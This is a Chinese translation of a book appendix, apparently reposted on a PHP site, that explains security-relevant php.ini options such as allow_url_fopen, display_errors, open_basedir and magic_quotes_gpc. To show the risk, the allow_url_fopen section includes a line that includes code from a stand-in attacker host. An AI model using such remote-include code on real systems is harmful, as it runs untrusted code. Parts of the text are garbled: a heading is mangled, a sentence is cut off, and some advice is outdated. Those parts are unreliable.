儘管本書的焦點在於應用程式的安全性,但有一些設定選項是任何關心安全的開發者必需熟悉的。 PHP的配置會影響你所寫程式碼的行為以及你使用的技巧,必要時你需要稍稍負責一下應用程式以外的東西。
PHP的設定主要由一個名為php.ini的檔案所指定。該檔案包含許多配置選項,每一項都會對PHP產生非常特定的影響。如果該檔案不存在,或該檔案中的某選項不存在,則會使用預設值。
如果你不知道php.ini檔案所在的位置,你可以使用phpinfo( )來確定PHP中對該文件路徑的定義:
<?php phpinfo(); ?>
圖A-1 所示的第六行(設定檔(php.ini)路徑)顯示了php.ini的完整路徑。如果只顯示了路徑(沒有檔案名稱),這表示PHP無法在所示路徑找到php.ini檔案。
該文件包含的自身說明非常好,因此你可以閱讀該文件並選擇適合你的配置選項。而手冊更是詳細,所以在你需要某個選項的更多資訊時,我推薦訪問http://www.php.cn/
圖A-1. phpinfo( ) 函數可用於php.ini檔案的定位
_open31. ,allow_url_fopen選項允許你如同本機檔案一樣引用遠端資源:
<?php $contents = file_get_contents('http://example.org/xss.html'); ?>
在第五章中揭示了當它相與相結合的
<?php include 'http://evil.example.org/evil.inc'; ?>
我建議關閉allow_url_fopen選項,除非你的應用需要它。
A.2. disable_functions
disable_functions選項是非常有用的,它可以確保一些有潛在威脅的函數不能被使用。儘管可以建立規範去禁止使用這些函數,但在PHP配置中進行限制要比依賴開發者對規範的遵循要可靠得多。
我建立對附錄B列出的函數進行檢查,看看是否要對一些函數進行限制。
A.3. display_errors
PHP的錯誤回報可以幫助你發現你所寫程式碼中的錯誤。當你開發應用程式時,把錯誤提示顯示出來是取得即時回饋的有效方法,同時也能加快開發速度。
在一個產品級的應用中,此行為會成為一項安全風險。如果它顯示錯誤訊息,所有人就可以得知你的應用中的重要訊息。
在產品中你需要關閉display_errors選項。
A.4. enable_dl
enable_dl選項用於控制dl()函數是否生效,此函數允許在運作時載入PHP擴充功能。
使用dl()函數可能導致攻擊者繞過open_basedir限制,因此除非有必要,你必須在你的應用程式中禁止它。
A.5. error_reporting
很多安全漏洞是由於使用了未初始化的變數或其它隨意的程式方法所引起的。透過把PHP的error_reporting選項置為E_ALL 或 E_ALL | E_STRICT,PHP就會對上述行為進行提示。這些設定都為報告Notice級別的錯誤。
我建议把error_reporting至少设定为E_ALL。(译注:在开发中)
A.6. file_uploads
file_uploads选项决定了是否允许上传文件。因此,如果你的应用不需要用户上传文件,那么关闭该选项就是最好的选择。
只是简单地在PHP代码中不对上传文件进行处理是不够的,因为在执行你的代码前,PHP就做了一些工作(如根据相关部据生成$_FILES数组)。
A.7. log_errors
当log_errors设为有效时,PHP会向error_log配置选项指定的文件中写入所有出错信息。
当display_errors设为无效时,将log_errors设为有效是很重要的;否则你将无法看到睛出错信息。
我建议将log_errors设为有效并在error_log设定日志文件所在位置。
A.8. magic_quotes_gpc
magic_quotes_gpc是一个常用的选项,它目的是防止SQL注入。但出于很多原因,包括它转义输入的方式,证明了它是不完善的。
它对$_GET, $_POST, 以及 $_COOKIE中的数据使用同样的规则即addslashes( )函数进行处理。从而,它并没有根据你的数据库选用对应的转义函数进行处理。
基于两个主要的原因,你需要把get_magic_quotes_gpc设为无效:
首先,它会加大你的输入过滤逻辑的复杂性,这是由于它在执行你的代码前首先对数据进行了编辑。例如,你需要对输入的姓名进行过滤,其逻辑是只允许字母、空格、连词符以及单引号,当magic_quotes_gpc生效时,你必须适应形如O\'Reilly的姓名或者使用stripslashes( )尝试将它恢复原形。这一不必要的复杂性(或者说不严谨的过滤规则)加大了发生错误的可能性,同时,你的输入过滤机制中的缺陷必然会导致安全漏洞。
其次,它并没有根据你的数据库选用对应的转义函数进行处理。这样,由于它可以抵挡一些低层次或偶发的攻击,掩盖了它是一个糟糕的过滤或转义机制这个事实,从而留下了一个安全漏洞,使你的应用无法抵挡如针对字符集的攻击等更复杂的攻击手段。
A.9. memory_limit
为防止写得糟糕的脚本占用所有的可用内存,可以使用memory_limit选项对最大内存使用量进行限制(以字节方式或缩写方式如8M指定)。
尽管最佳的取值是与运行的应用是相关的,我还是建议在大多情况下使用默认值8M。
memory_limit选项只有在PHP指定了enable-memory-limit方式编译时才会生效。
A.10. open_basedir
open_basedir选项会限制PHP只能在它指定的目录中打开文件。尽管它不能取代正确的输入过滤,但该选项能减少利用文件系统相关函数如include及require进行的攻击。
该选项的值会被当做前缀使用,因此当你想表示指定目录时请小心不要漏了最后的斜杠:
open_basedir = /path/to/
小提示
请确认enable_dl选项是关闭的,否则open_basedir的限制可能会被绕过。
A.11. register_globals
见第二章
A.12. safe_mode
见第八章
以上就是PHP安全-配置选项的内容,更多相关内容请关注PHP中文网(www.php.cn)!